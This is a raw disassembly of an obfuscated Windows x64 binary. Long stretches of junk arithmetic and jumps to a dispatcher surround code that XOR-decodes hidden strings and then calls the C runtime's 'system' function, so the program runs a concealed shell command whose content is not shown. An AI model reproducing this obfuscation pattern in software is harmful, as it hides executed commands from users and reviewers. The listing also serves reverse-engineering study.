push rax
pushf
mov eax, 0x6a772ded
pushf
not eax
add eax, 0x83026a08
xor eax, 0x96a76ccb
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xfa698a21
xor eax, 0x98984fb9
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd1bb369a
xor eax, 0xcc2dde7f
rol eax, 0x4c
popf
jmp 0x140110660
mov dword [rbp + 0x38], r8d
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov rdx, qword [rbp + 0x28]
sub rdx, qword [rbp + 0x20]
sar rdx, 2
movabs r15, 0xfe7fff48c0391591
pushf
not r15
add r15, 0x59d8ece3
xor r15, 0x7321e951
rol r15, 0x38
popf
pushf
not r15
add r15, 0x50c63582
xor r15, 0x672488bc
rol r15, 0x8f
popf
test rdx, rdx
je 0x140114a69
push rax
pushf
mov eax, 0x9c64205c
pushf
not eax
add eax, 0xb7d41948
xor eax, 0x850ec98a
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x977d9b2a
xor eax, 0xbef74c21
rol eax, 0x54
popf
pushf
not eax
add eax, 0xae5ea583
xor eax, 0xd2ea8922
rol eax, 0x6a
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xb9b47f07
pushf
not eax
add eax, 0x933197aa
xor eax, 0xd21d86b8
rol eax, 0xba
popf
pushf
not eax
add eax, 0xccc34459
xor eax, 0xa55d0b61
rol eax, 0xe
popf
pushf
not eax
add eax, 0x83dfc323
xor eax, 0xa13f52b4
rol eax, 0x24
popf
jmp 0x140110660
cmp rdx, r15
jbe 0x140114ae7
push rax
pushf
mov eax, 0x499c5a38
pushf
not eax
add eax, 0xc6dd8025
xor eax, 0xa89f7632
rol eax, 0x28
popf
pushf
not eax
add eax, 0xa8fb5b87
xor eax, 0xcaa77531
rol eax, 0xbb
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x4fcdd9d2
pushf
not eax
add eax, 0xd9ff16b4
xor eax, 0xd91b2e0f
rol eax, 0x49
popf
pushf
not eax
add eax, 0xa4cbcc55
xor eax, 0xb0a5efaa
rol eax, 0x44
popf
jmp 0x140110660
call fcn.14012928c
int3
call fcn.14013930d
int3
lea rcx, [rsp + 0x50]
call fcn.14000eb90
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
sub rbx, rdx
mov r8, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sar rbx, 2
lea rdx, [rsi + rbx*4]
mov qword [rsp + 0x58], rdx
mov r8d, dword [rbp + 0x38]
jmp 0x140114c55
mov rdx, qword [rsp + 0x58]
push rax
pushf
mov eax, 0xf95f69b6
pushf
not eax
add eax, 0xe921a5a3
xor eax, 0xa547dff9
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xe98ae558
xor eax, 0xe43903de
rol eax, 0x56
popf
jmp 0x140110660
mov dword [rsp + 0x68], r8d
mov dword [rbp + 0x2e0], 0xff
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov qword [rsp + 0x40], rdi
sub rdx, qword [rsp + 0x50]
sar rdx, 2
test rdx, rdx
je 0x140114cb3
push rax
pushf
mov eax, 0x9e605391
pushf
not eax
add eax, 0x82b383db
xor eax, 0xe0c6689f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xd4c72919
xor eax, 0x86a27e52
rol eax, 0x67
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x93b70348
pushf
not eax
add eax, 0xf394b5f6
xor eax, 0xfc3d9f6c
rol eax, 0x77
popf
pushf
not eax
add eax, 0xc1a4bc74
xor eax, 0xd16c373a
rol eax, 0x25
popf
pushf
not eax
add eax, 0xcfe495c0
xor eax, 0x9aa528d9
rol eax, 0xed
popf
jmp 0x140110660
cmp rdx, r15
jbe 0x140114d31
push rax
pushf
mov eax, 0xdb455ed9
pushf
not eax
add eax, 0xa4afcc28
xor eax, 0x8980c88c
rol eax, 0xff
popf
pushf
not eax
add eax, 0xcd41ee59
xor eax, 0xeccc9b7d
rol eax, 0x23
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xbc209315
pushf
not eax
add eax, 0xa1b7cca2
xor eax, 0xe09e5eb1
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe31324bf
xor eax, 0xef0e81b2
rol eax, 0x73
popf
pushf
not eax
add eax, 0x900c62ed
xor eax, 0xcccbb3ca
rol eax, 0x8d
popf
jmp 0x140110660
call fcn.14012928c
int3
lea rcx, [rsp + 0x30]
call fcn.14000eb90
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
sub rbx, rdx
mov r8, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sar rbx, 2
lea rax, [rsi + rbx*4]
mov qword [rsp + 0x38], rax
jmp 0x140114e64
mov rax, qword [rsp + 0x38]
push rax
pushf
mov eax, 0x71b7fe9
pushf
not eax
add eax, 0xb6706d65
xor eax, 0xddd014af
rol eax, 0x32
popf
pushf
not eax
add eax, 0xf51000f3
xor eax, 0xc9abca71
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xe3e057a4
xor eax, 0xb2f41644
rol eax, 0x27
popf
jmp 0x140110660
mov dword [rbp + 0x2e0], 0x1ff
mov r8d, edi
mov rcx, qword [rsp + 0x30]
mov rdx, rcx
mov r10, rax
cmp rcx, rax
je 0x140114eb4
push rax
pushf
mov eax, 0x197bb156
pushf
not eax
add eax, 0xc3c9837d
xor eax, 0x88a56d54
rol eax, 0x92
popf
pushf
not eax
add eax, 0xdacdba9f
xor eax, 0xdd052b9c
rol eax, 0x1c
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x18c41601
pushf
not eax
add eax, 0xd000c4a3
xor eax, 0x8ac49158
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc01bebc1
xor eax, 0x8b8ac075
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc49e7613
xor eax, 0x8a53053c
rol eax, 0x72
popf
jmp 0x140110660
nop dword [rax + rax]
push rax
pushf
mov eax, 0x6e2ee1b7
pushf
not eax
add eax, 0xe0a9acaa
xor eax, 0xf518a248
rol eax, 0x17
popf
pushf
not eax
add eax, 0xc95202aa
xor eax, 0x8fe59333
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x9648719c
xor eax, 0xb0b12fe1
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xe59f01d3
xor eax, 0xacaf4c6d
rol eax, 0xb8
popf
jmp 0x140110660
mov r9d, r8d
sub rax, rcx
sar rax, 2
cmp rax, r9
jbe 0x140114fc0
push rax
pushf
mov eax, 0x6e4e9e43
pushf
not eax
add eax, 0xca34ce0d
xor eax, 0xbcbc6d8e
rol eax, 0x98
popf
pushf
not eax
add eax, 0xf325f515
xor eax, 0x8c184d05
rol eax, 0x90
popf
pushf
not eax
add eax, 0xf5583c85
xor eax, 0xad3a1975
rol eax, 0x36
popf
pushf
not eax
add eax, 0x9de1df67
xor eax, 0x92f5b08f
rol eax, 0xc1
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x5eec9513
pushf
not eax
add eax, 0xf59a35c8
xor eax, 0xb5181594
rol eax, 0xac
popf
pushf
not eax
add eax, 0xa9680ef4
xor eax, 0xfa160cb8
rol eax, 0xe7
popf
jmp 0x140110660
mov eax, dword [rsp + 0x68]
xor dword [rcx + r9*4], eax
inc r8d
add rdx, 4
cmp rdx, r10
je 0x14011504d
push rax
pushf
mov eax, 0xf9da170e
pushf
not eax
add eax, 0xb6260e85
xor eax, 0xb809b517
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd60dea8a
xor eax, 0xaa6ca873
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf69578f2
xor eax, 0xb5b307c2
rol eax, 0xb6
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xdeef5d5d
pushf
not eax
add eax, 0xd261ac88
xor eax, 0xb93ed648
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xa8c5f831
xor eax, 0xff9118d4
rol eax, 0x2f
popf
pushf
not eax
add eax, 0x9c3d682b
xor eax, 0xded0e294
rol eax, 0x5b
popf
jmp 0x140110660
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
jmp 0x140114f58
call fcn.14000c3f0
int3
lea rdx, [rsp + 0x30]
lea rcx, [0x1ad0917db]
pushf
sub rcx, 0x6cf92843
popf
call fcn.14012d766
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1401151c7
push rax
pushf
mov eax, 0xe3ec549f
pushf
not eax
add eax, 0xddcbd7eb
xor eax, 0xfc78d816
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xa991d6aa
xor eax, 0xb0d1fbd7
rol eax, 0x75
popf
pushf
not eax
add eax, 0xeeb54ec3
xor eax, 0xc52972b6
rol eax, 0xd
popf
pushf
not eax
add eax, 0xbf416f01
xor eax, 0xeeead9e6
rol eax, 0x47
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x2c748adc
pushf
not eax
add eax, 0x8ea963b9
xor eax, 0xe2cdd13e
rol eax, 0x6d
popf
pushf
not eax
add eax, 0x8099883f
xor eax, 0xda952a36
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xe60fe8bf
xor eax, 0x9861a82d
rol eax, 0xe
popf
jmp 0x140110660
mov rax, qword [rsp + 0x40]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140115273
push rax
pushf
mov eax, 0x7ed2ad16
pushf
not eax
add eax, 0xadf9c76c
xor eax, 0xe01dca49
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xda49dbec
xor eax, 0xb26f5742
rol eax, 0x43
popf
pushf
not eax
add eax, 0xa995c83f
xor eax, 0xbe63df94
rol eax, 0xba
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x170d896d
pushf
not eax
add eax, 0xe14362c0
xor eax, 0xa9264304
rol eax, 0x33
popf
pushf
not eax
add eax, 0xc2653cef
xor eax, 0x90c4cf82
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe40a75d7
xor eax, 0xec9ac4cf
rol eax, 0xb6
popf
jmp 0x140110660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011ca1a
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
push rax
pushf
mov eax, 0x297fc6b9
pushf
not eax
add eax, 0xc021c773
xor eax, 0xda710915
rol eax, 0x55
popf
pushf
not eax
add eax, 0xc7a3e946
xor eax, 0x921c4ee4
rol eax, 0x74
popf
jmp 0x140110660
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x58], rcx
test rcx, rcx
je 0x140115443
push rax
pushf
mov eax, 0x8af29dfd
pushf
not eax
add eax, 0xa55817d6
xor eax, 0xc8db209b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9c21847d
xor eax, 0xb150ab5d
rol eax, 0x68
popf
pushf
not eax
add eax, 0xd09f7297
xor eax, 0xc954b87e
rol eax, 0xce
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa129c7f2
pushf
not eax
add eax, 0x8d2a961f
xor eax, 0x85e6904b
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xcc08009a
xor eax, 0xbc421a5a
rol eax, 0x75
popf
pushf
not eax
add eax, 0x95951308
xor eax, 0xc2a80be2
rol eax, 0xd7
popf
jmp 0x140110660
mov rax, qword [rsp + 0x60]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401154dc
push rax
pushf
mov eax, 0x7682dffe
pushf
not eax
add eax, 0xc48a5732
xor eax, 0xa125267e
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xb1b5599d
xor eax, 0xf54e1465
rol eax, 0x70
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x37f6642
pushf
not eax
add eax, 0x87ecc32d
xor eax, 0xedb01a3e
rol eax, 0x13
popf
pushf
not eax
add eax, 0x820cdb23
xor eax, 0xdb6aed93
rol eax, 0x14
popf
pushf
not eax
add eax, 0xdff4980b
xor eax, 0xc5f397d4
rol eax, 0x8f
popf
jmp 0x140110660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14011556a
push rax
pushf
mov eax, 0x457e4376
pushf
not eax
add eax, 0xc0cd86ec
xor eax, 0xe49c9d75
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd600a0d2
xor eax, 0x8616a911
rol eax, 0x5a
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa254ef70
pushf
not eax
add eax, 0xa256e358
xor eax, 0xe8167313
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xeb5ccdf8
xor eax, 0xec193acc
rol eax, 0xa8
popf
pushf
not eax
add eax, 0xcf972114
xor eax, 0xaeb00b72
rol eax, 0xa5
popf
jmp 0x140110660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011ca1a
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
push rax
pushf
mov eax, 0x1fad27f2
pushf
not eax
add eax, 0xe2499766
xor eax, 0xcb5d0e49
rol eax, 0x8b
popf
pushf
not eax
add eax, 0x91ccbb6e
xor eax, 0x9f82eb1f
rol eax, 0xea
popf
jmp 0x140110660
lea rcx, [rsp + 0x70]
call fcn.14000a640
mov rax, qword [0x1400fefa0]
cmp qword [0x1400fef98], rax
je 0x1401156a8
push rax
pushf
mov eax, 0x85428956
pushf
not eax
add eax, 0xad9ad417
xor eax, 0x985899a4
rol eax, 0x48
popf
pushf
not eax
add eax, 0xb7820f3c
xor eax, 0xd8efbfe4
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xe1d9c93f
xor eax, 0xa3f459d0
rol eax, 0x6d
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xafef59d4
pushf
not eax
add eax, 0xbbe756de
xor eax, 0xdce9f75b
rol eax, 0x49
popf
pushf
not eax
add eax, 0x87758d28
xor eax, 0xae9e546c
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xcb59755a
xor eax, 0xd08d1ea2
rol eax, 0xfd
popf
jmp 0x140110660
lea rdx, [rsp + 0x30]
call fcn.140129a7e
mov r9, rax
cmp byte [rax + 0xc], 0
je 0x14011575e
push rax
pushf
mov eax, 0x25211073
pushf
not eax
add eax, 0xc129f26f
xor eax, 0x9e37fe97
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xb88f52d6
xor eax, 0xdae76f8e
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xda3c84ce
xor eax, 0xe0d32542
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xe2af4b9e
xor eax, 0xe20abe67
rol eax, 0xc4
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x69231843
pushf
not eax
add eax, 0xd24b90f8
xor eax, 0xae1c5d8f
rol eax, 0x82
popf
pushf
not eax
add eax, 0xfa4e3ad6
xor eax, 0xf80feac1
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x81e793a8
xor eax, 0xeff8da80
rol eax, 0x8e
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140115807
push rax
pushf
mov eax, 0x1a7853b6
pushf
not eax
add eax, 0xe5734466
xor eax, 0xbdb00761
rol eax, 0xae
popf
pushf
not eax
add eax, 0xef696d30
xor eax, 0xc62893f9
rol eax, 0x68
popf
pushf
not eax
add eax, 0xb80e5ba1
xor eax, 0x8548ca2b
rol eax, 0x55
popf
pushf
not eax
add eax, 0x889450ee
xor eax, 0x903851be
rol eax, 0x88
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x702efd85
pushf
not eax
add eax, 0x82dcabf0
xor eax, 0xd98c8e5b
rol eax, 0x67
popf
pushf
not eax
add eax, 0x85016e08
xor eax, 0xf4714f62
rol eax, 0x3a
popf
jmp 0x140110660
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov edi, 0x145b6095
pushf
not edi
add edi, 0xd298c65d
xor edi, 0xa2c6c689
rol edi, 8
popf
pushf
not edi
add edi, 0x942c2fee
xor edi, 0x9888e1c1
rol edi, 0xbf
popf
push rax
pushf
mov eax, 0xcdab297d
pushf
not eax
add eax, 0x8b30c160
xor eax, 0xfa78fab0
rol eax, 0x26
popf
pushf
not eax
add eax, 0xb38c3712
xor eax, 0xb430efa0
rol eax, 0xbb
popf
jmp 0x140110660
movsxd r8, edi
push r9
not r9
sub r8, r9
pop r9
sub r8, 1
push rax
pushf
mov eax, 0xc296df1c
pushf
not eax
add eax, 0xb2e31f2b
xor eax, 0xe6f10212
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xe4b20017
xor eax, 0xb8cdf514
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xaa8128c6
xor eax, 0x93ae2329
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xc1ab81ed
xor eax, 0xded363fb
rol eax, 0x67
popf
jmp 0x140110660
mov eax, 0x22dfa730
pushf
not eax
add eax, 0x9c81d9ee
xor eax, 0xb57f7286
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xe757c347
xor eax, 0xfab07164
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xc266c393
xor eax, 0x998d9c8e
rol eax, 0xc4
popf
pushf
not eax
add eax, 0xc30e72e6
xor eax, 0xcb7aa831
rol eax, 0x3f
popf
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, dil
sub al, cl
add al, 0x39
xor byte [r8], al
jmp 0x140115a74
inc edi
lea r8, [r8 + 1]
cmp edi, 0xd
jl 0x140115ab2
push rax
pushf
mov eax, 0x74dc9e2f
pushf
not eax
add eax, 0xa4ba14d9
xor eax, 0xf984f577
rol eax, 0x76
popf
pushf
not eax
add eax, 0x90d32d9c
xor eax, 0x9a45973b
rol eax, 0xd
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xda87618c
pushf
not eax
add eax, 0x99266e3a
xor eax, 0xd3c9ea6f
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x93eb6f98
xor eax, 0xadfd0241
rol eax, 0x4f
popf
jmp 0x140110660
mov rcx, r9
call fcn.14011fa60
call fcn.14010ca28
call fcn.14013b459
nop
lea rcx, [rbp + 0x20]
call fcn.14000acd0
nop
lea rcx, [rbp + 0x160]
call fcn.14000a850
nop
lea rcx, [rbp + 0x70]
call fcn.14011782c
xor ecx, ecx
jmp 0x140115b1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
push rax
pushf
mov eax, 0x471c2f66
pushf
not eax
add eax, 0xcc7edabd
xor eax, 0xb5d8ef98
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x9884b562
xor eax, 0xbe6d6cc8
rol eax, 0x48
popf
jmp 0x140110660
lea rdx, [rbp + 0x2e0]
call fcn.14012660a
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140115bc7
push rax
pushf
mov eax, 0x538e8eee
pushf
not eax
add eax, 0xda4e04d9
xor eax, 0xb850f730
rol eax, 0x57
popf
pushf
not eax
add eax, 0xfd249129
xor eax, 0xc584dca4
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xaf1109b5
xor eax, 0xf5188d06
rol eax, 0x13
popf
pushf
not eax
add eax, 0x91dd0127
xor eax, 0xf893a877
rol eax, 0xd4
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xa6b70177
pushf
not eax
add eax, 0xf0bc5958
xor eax, 0x824bfe54
rol eax, 0x22
popf
pushf
not eax
add eax, 0x912395ac
xor eax, 0xddfd8a80
rol eax, 0x94
popf
pushf
not eax
add eax, 0xcf5eb7cb
xor eax, 0xadc3ee3d
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xbf1226c5
xor eax, 0x9a900bfb
rol eax, 0x9a
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140115c7f
push rax
pushf
mov eax, 0x7c2b2d9a
pushf
not eax
add eax, 0xd3425be6
xor eax, 0xfb9071f7
rol eax, 0xe2
popf
pushf
not eax
add eax, 0x8909110c
xor eax, 0xf3ecfd5c
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa2322bcb
xor eax, 0xc5c042fd
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xbf03cc5c
xor eax, 0xdede4dce
rol eax, 0xaf
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xe6915c6
pushf
not eax
add eax, 0xa5419142
xor eax, 0xa7be3e2a
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xdea4ce38
xor eax, 0xacf8b5c5
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x906af8ec
xor eax, 0xcc3bef97
rol eax, 0xd6
popf
jmp 0x140110660
movdqa xmm3, xmmword [0x140078130]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400781d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400781d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140115eb3
mov r9, rcx
mov r8d, edi
nop word [rax + rax]
push rax
pushf
mov eax, 0xfc69926a
pushf
not eax
add eax, 0xc0756c6b
xor eax, 0xf35f8c36
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xa1a0b462
xor eax, 0xcf3c40c9
rol eax, 0x55
popf
pushf
not eax
add eax, 0xd37c84c6
xor eax, 0xb3a54d8a
rol eax, 0xc8
popf
jmp 0x140110660
mov eax, 0xed9f909d
pushf
not eax
add eax, 0xa5428a0b
xor eax, 0xdc7511b6
rol eax, 0x86
popf
pushf
not eax
add eax, 0xe6dd0734
xor eax, 0xcbf103e8
rol eax, 0xb2
popf
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140115e7f
push rax
pushf
mov eax, 0x18390b87
pushf
not eax
add eax, 0x99339004
xor eax, 0x98df78e7
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xa13383bd
xor eax, 0xb4e78a87
rol eax, 0xe6
popf
jmp 0x140110660
push rax
pushf
mov eax, 0x1817b987
pushf
not eax
add eax, 0xa3682638
xor eax, 0xf12c48fb
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xc4477708
xor eax, 0xda56e65a
rol eax, 0xdd
popf
jmp 0x140110660
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rsp + 0x30]
call fcn.1401325a3
mov r9, rax
cmp byte [rax + 0xd], 0
je 0x140115f16
push rax
pushf
mov eax, 0xf0dd0579
pushf
not eax
add eax, 0x950712a1
xor eax, 0xd30884ca
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xb5118f9b
xor eax, 0xbf716a4c
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xf73738cc
xor eax, 0xd6d44abc
rol eax, 0x45
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xe4cfa165
pushf
not eax
add eax, 0xea4924a8
xor eax, 0xb749c352
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbfb6a62f
xor eax, 0xc5368ef7
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xc8a2db1d
xor eax, 0xa8f09df1
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xb7b1d490
xor eax, 0xc2965834
rol eax, 0xc1
popf
jmp 0x140110660
cmp r14d, 2
jl 0x140115fd2
push rax
pushf
mov eax, 0x10fde1d9
pushf
not eax
add eax, 0xad021070
xor eax, 0xc04a4e6d
rol eax, 0x17
popf
pushf
not eax
add eax, 0x9f7dbcd5
xor eax, 0xa572b39a
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x8e9447a5
xor eax, 0xc73a22d2
rol eax, 0x64
popf
pushf
not eax
add eax, 0xcfedc5fe
xor eax, 0xe3d6d18b
rol eax, 0x60
popf
jmp 0x140110660
push rax
pushf
mov eax, 0xb7398a67
pushf
not eax
add eax, 0xee4fb907
xor eax, 0x9b153a97
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa715b9e3
xor eax, 0xd7037222
rol eax, 0x70
popf
pushf
not eax
add eax, 0xd8297a27
xor eax, 0x91868923
rol eax, 0x8a
popf
jmp 0x140110660
movdqa xmm4, xmmword [0x1400781d0]
movdqa xmm2, xmmword [0x140078130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9]
xorps xmm2, xmm0
movd dword [r9], xmm2
movdqa xmm3, xmmword [0x140078140]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140078150]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400781b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm2, xmm0
movd dword [r9 + 4], xmm2
mov edi, 0x71f38ef5
pushf
not edi
add edi, 0x88036c15
xor edi, 0xde951077
rol edi, 0x40
popf
pushf
not edi
add edi, 0xdb6ac4ae
xor edi, 0xbe36bd4f
rol edi, 0xad
popf
pushf
not edi
add edi, 0xb6ace279
xor edi, 0x8d6b8c59
rol edi, 0x7c
popf
push rax
pushf
mov eax, 0xe2e2cd8b
pushf
not eax
add eax, 0xfdf625f5
xor eax, 0xb2b900ee
rol eax, 0x25
popf
pushf
not eax
add eax, 0xf68925fb
xor eax, 0xcaee6316
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xdf873a74
xor eax, 0xda39901f
rol eax, 0xc
popf
pushf
not eax
add eax, 0x941b54d5
xor eax, 0xbf8c1c25
rol eax, 0x37
popf
jmp 0x140110660
movsxd r8, edi
push r9
not r9
sub r8, r9
pop r9
sub r8, 1
nop word [rax + rax]
push rax
pushf
mov eax, 0xa615fb9
pushf
not eax
add eax, 0xcb5106d4
xor eax, 0xc754dd4e
rol eax, 1
popf
pushf
not eax
add eax, 0xc200c73c
xor eax, 0xa37fef79
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd186f059
xor eax, 0xbf90af2e
rol eax, 0xda
popf
jmp 0x140110660
mov eax, 0x9562a765
pushf
not eax
add eax, 0xf6139056
xor eax, 0xd9afec21
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xa2d8bed8
